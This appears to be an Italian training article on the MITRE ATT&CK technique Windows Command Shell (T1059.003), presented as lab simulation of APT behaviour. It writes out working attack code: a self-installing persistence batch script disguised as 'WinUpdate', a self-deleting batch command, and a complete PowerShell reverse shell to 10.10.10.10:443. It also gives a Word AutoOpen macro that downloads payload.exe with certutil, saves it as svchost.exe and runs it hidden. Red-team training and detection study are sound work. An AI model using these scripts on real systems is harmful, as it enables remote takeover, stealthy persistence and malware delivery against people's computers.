Command Shell: Windows Command Shell (T1059.003)
La Windows Command Shell rappresenta l'interfaccia primaria a riga di comando sui sistemi Windows, permettendo il controllo praticamente completo del sistema attraverso cmd.exe. Questa tecnica appartiene alla tattica TA0002 (Execution), posizionandosi nella fase di esecuzione della kill chain dove gli attaccanti eseguono codice malevolo per raggiungere i propri obiettivi.
L'abuso della command shell costituisce una delle tecniche più diffuse nell'arsenale degli attaccanti, utilizzata da 71 gruppi APT, implementata in 286 software malevoli e documentata in 15 campagne di cyber spionaggio. La sua ubiquità deriva dalla natura legittima dello strumento, che rende difficile distinguere l'uso malevolo da quello amministrativo normale.
Gli attaccanti sfruttano cmd.exe per eseguire comandi singoli, script batch complessi, o per stabilire shell interattive con input/output reindirizzato attraverso canali command and control. I file batch (.bat o .cmd) estendono ulteriormente le capacità, permettendo l'automazione di sequenze di comandi con logica condizionale e loop per operazioni ripetitive su più sistemi.
Per simulare efficacemente questa tecnica in laboratorio, inizia con l'esecuzione remota attraverso servizi come SSH o WinRM. Un comando base per testare l'accesso remoto è:
winrm invoke -ComputerName target01 -ScriptBlock {cmd.exe /c whoami}
I gruppi APT spesso concatenano comandi per ridurre le tracce. APT28 utilizza pattern come cmd.exe /c "command1 && command2" per eseguire sequenze di azioni in un singolo processo. Replica questo comportamento con:
cmd.exe /c "ipconfig /all > %temp%\net.txt && type %temp%\net.txt && del %temp%\net.txt"
Per simulare la persistenza tramite batch script, crea un file .bat che si auto-installa come scheduled task:
echo @echo off > persist.bat
echo schtasks /create /tn "WinUpdate" /tr "%temp%\update.bat" /sc onlogon >> persist.bat
echo copy %0 %temp%\update.bat >> persist.bat
Gli attaccanti avanzati come Lazarus Group utilizzano batch file per eliminare le proprie tracce. Simula questa tecnica con un self-deleting batch:
cmd.exe /c "ping 127.0.0.1 -n 5 > nul & del %0"
La creazione di reverse shell costituisce un pattern comune. APT32 e menuPass implementano shell interattive attraverso:
cmd.exe /c "powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback+'PS '+(pwd).Path+'> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""
Per testare l'esecuzione attraverso macro Office come FIN7, incorpora questo VBA in un documento Word:
Sub AutoOpen()
Shell "cmd.exe /c certutil -urlcache -split -f http://192.168.1.100/payload.exe %temp%\svchost.exe && %temp%\svchost.exe", vbHide
End Sub
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo